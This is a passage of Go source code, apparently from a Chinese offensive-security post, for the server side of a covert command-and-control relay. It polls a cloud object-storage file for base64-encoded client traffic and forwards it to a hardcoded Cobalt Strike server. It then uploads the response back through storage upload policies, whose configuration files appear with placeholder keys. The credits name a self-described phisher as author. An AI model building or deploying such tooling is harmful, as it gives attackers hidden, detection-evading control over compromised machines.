if err != nil {
fmt.Printf("下载失败: %v\n", err)
} else {
fmt.Println("下载成功")
}
} else {
fmt.Println("URL不可用,跳过下载:", url1)
}
fmt.Printf("检查文件2:%s\n", url2)
if checkURLStatus(url2) {
err = safeDownloadFile(filepath2, url2)
if err != nil {
fmt.Printf("下载失败: %v\n", err)
} else {
fmt.Println("下载成功")
}
} else {
fmt.Println("URL不可用,跳过下载:", url2)
}
/* for {
waitForNextHalfHour()
fmt.Printf("检查文件1:%s\n", url1)
if checkURLStatus(url1) {
err = safeDownloadFile(filepath1, url1)
if err != nil {
fmt.Printf("下载失败: %v\n", err)
} else {
fmt.Println("下载成功")
}
} else {
fmt.Println("URL不可用,跳过下载:", url1)
}
fmt.Printf("检查文件2:%s\n", url2)
if checkURLStatus(url2) {
err = safeDownloadFile(filepath2, url2)
if err != nil {
fmt.Printf("下载失败: %v\n", err)
} else {
fmt.Println("下载成功")
}
} else {
fmt.Println("URL不可用,跳过下载:", url2)
}
}*/
}
var fileLock sync.RWMutex // 定义一个文件锁
var taskQueue = make(chan string, 100) // 定义一个任务队列
func processQueue() {
for task := range taskQueue {
log.Println("[+]", "处理队列中的任务:", task)
processServerWithLock(task) // 有序地处理任务
}
}
func processServerWithLock(URLname string) {
// 从name中提取UUID
log.Println("[+]", "发现客户端")
// 将Base64编码的数据解码
sDec, err := base64.StdEncoding.DecodeString(string(URLname))
if err != nil {
log.Println("[-]", sDec, "Base64解码失败:", err)
return
}
// 连接CS服务器
conn, err := net.Dial("tcp", "x.x.x.x:17777") // 使用硬编码的CS服务器地址
if err != nil {
log.Println("[-]", conn, "连接CS服务器失败:", err)
return
}
defer conn.Close()
// 发送解码后的数据到CS服务器
_, err = conn.Write(sDec)
if err != nil {
log.Println("[-]", "无法向CS服务器发送数据包:", err)
return
}
// 设置读超时
_ = conn.SetReadDeadline(time.Now().Add(10 * time.Second))
var buffer bytes.Buffer
// 从CS服务器读取响应数据
for {
var buf [1]byte
n, err := conn.Read(buf[:])
if err != nil {
log.Println("[-]", "从CS服务器读取数据失败:", err)
break
}
buffer.Write(buf[:n])
// 检查是否接收完毕
if strings.Contains(buffer.String(), "\r\n\r\n") {
// 处理Content-Length
if strings.Contains(buffer.String(), "Content-Length") {
ContentLength := buffer.String()[strings.Index(buffer.String(), "Content-Length: ")+len("Content-Length: ") : strings.Index(buffer.String(), "Content-Length: ")+strings.Index(buffer.String()[strings.Index(buffer.String(), "Content-Length: "):], "\n")]
log.Println("[+]", "数据包长度为:", strings.TrimSpace(ContentLength))
// 继续读取指定长度的数据
if strings.TrimSpace(ContentLength) != "0" {
intContentLength, err := strconv.Atoi(strings.TrimSpace(ContentLength))
if err != nil {
log.Println("[-]", "Content-Length转换失败:", err)
break
}
for i := 1; i <= intContentLength; i++ {
var b [1]byte
n, err = conn.Read(b[:])
if err != nil {
log.Println("[-]", "从CS服务器读取数据失败:", err)
break
}
buffer.Write(b[:n])
}
}
}
// 处理Chunked传输
if strings.Contains(buffer.String(), "Transfer-Encoding: chunked") {
for {
var b [1]byte
n, err = conn.Read(b[:])
if err != nil {
log.Println("[-]", "读取Chunked数据失败:", err)
break
}
buffer.Write(b[:n])
if strings.Contains(buffer.String(), "0\r\n\r\n") {
break
}
}
}
log.Println("[+]", "从CS服务器接受完毕")
break
}
}
// 将响应数据重新编码为Base64
b64 := base64.StdEncoding.EncodeToString(buffer.Bytes())
Send("Send-Server.json", "server.zip", b64)
log.Println("[+]", "服务器数据发送完毕")
log.Println("文件上传完成,暂停30秒...")
time.Sleep(30 * time.Second) // Pause for 30 seconds
}
func checkFileChanges(currentContent string, server_address string) {
// 加锁,防止与定时任务冲突
log.Println("[+]", "尝试加锁以检测文件变化")
/* fileLock.Lock()
log.Println("[+]", "文件锁定成功,开始检查文件变化")
defer func() {
log.Println("[+]", "解锁文件")
fileLock.Unlock()
}()*/
log.Println(currentContent)
log.Println(previousContent)
// if strings.TrimSpace(currentContent) != strings.TrimSpace(previousContent) {
log.Println("[+]", "文件内容不一致,开始处理")
previousContent = currentContent // 更新存储的文件内容
log.Println("currentContent:",currentContent)
log.Println("previousContent:",previousContent)
processServerWithLock(currentContent) // 处理客户端文件数据
/* } else {
log.Println("[+]", "文件内容一致,无需处理")
}*/
}
func startServer(server_address string) {
log.Println("[+]", "服务端启动成功")
for {
time.Sleep(6 * time.Second)
// 获取 Send-Client.json 中的 URL
clientURL,err := Getfile("Send-Client.json")
log.Println("clientURL=>",clientURL)
currentContent, err := fetchFileContent(clientURL)
log.Println("currentContent=>",currentContent)
if err != nil {
log.Println("[-]", "获取客户端文件失败:", err)
return
}
println("大小为%s", len(currentContent))
checkFileChanges(currentContent, server_address)
}
}
func main() {
go timedownload()
server_address := "x.x.x.x:17777"
startServer(server_address)
}
涉及json文件
Send-Client.json
{"key":"1029/ff.txt","success_action_status":"200","Content-Disposition":"attachment;filename=policy.txt","x-oss-meta-uuid":"uuid","x-oss-meta-tag":"metadata","OSSAccessKeyId":"xxxxxxxxxxxxxxxxxxxxxx","policy":"xxxxxxxxxxxxxx==","Signature":"xxx/xxxxxxx+xxxxxx=","action":"https://xxxx.oss-cn-shanghai.aliyuncs.com","file":{"filename":"policy.txt","content_type":"text/plain","content":"test-policy"}}
Send-Server.json
{"key":"1029/ff.txt","success_action_status":"200","Content-Disposition":"attachment;filename=policy.txt","x-oss-meta-uuid":"uuid","x-oss-meta-tag":"metadata","OSSAccessKeyId":"xxxxxxxxxxxxxxxxxxxxxx","policy":"xxxxxxxxxxxxxx==","Signature":"xxx/xxxxxxx+xxxxxx=","action":"https://xxxx.oss-cn-shanghai.aliyuncs.com","file":{"filename":"policy.txt","content_type":"text/plain","content":"test-policy"}}
致谢:
主要代码提供者,钓鱼佬pant0m
其语雀链接:
https://www.yuque.com/pant0m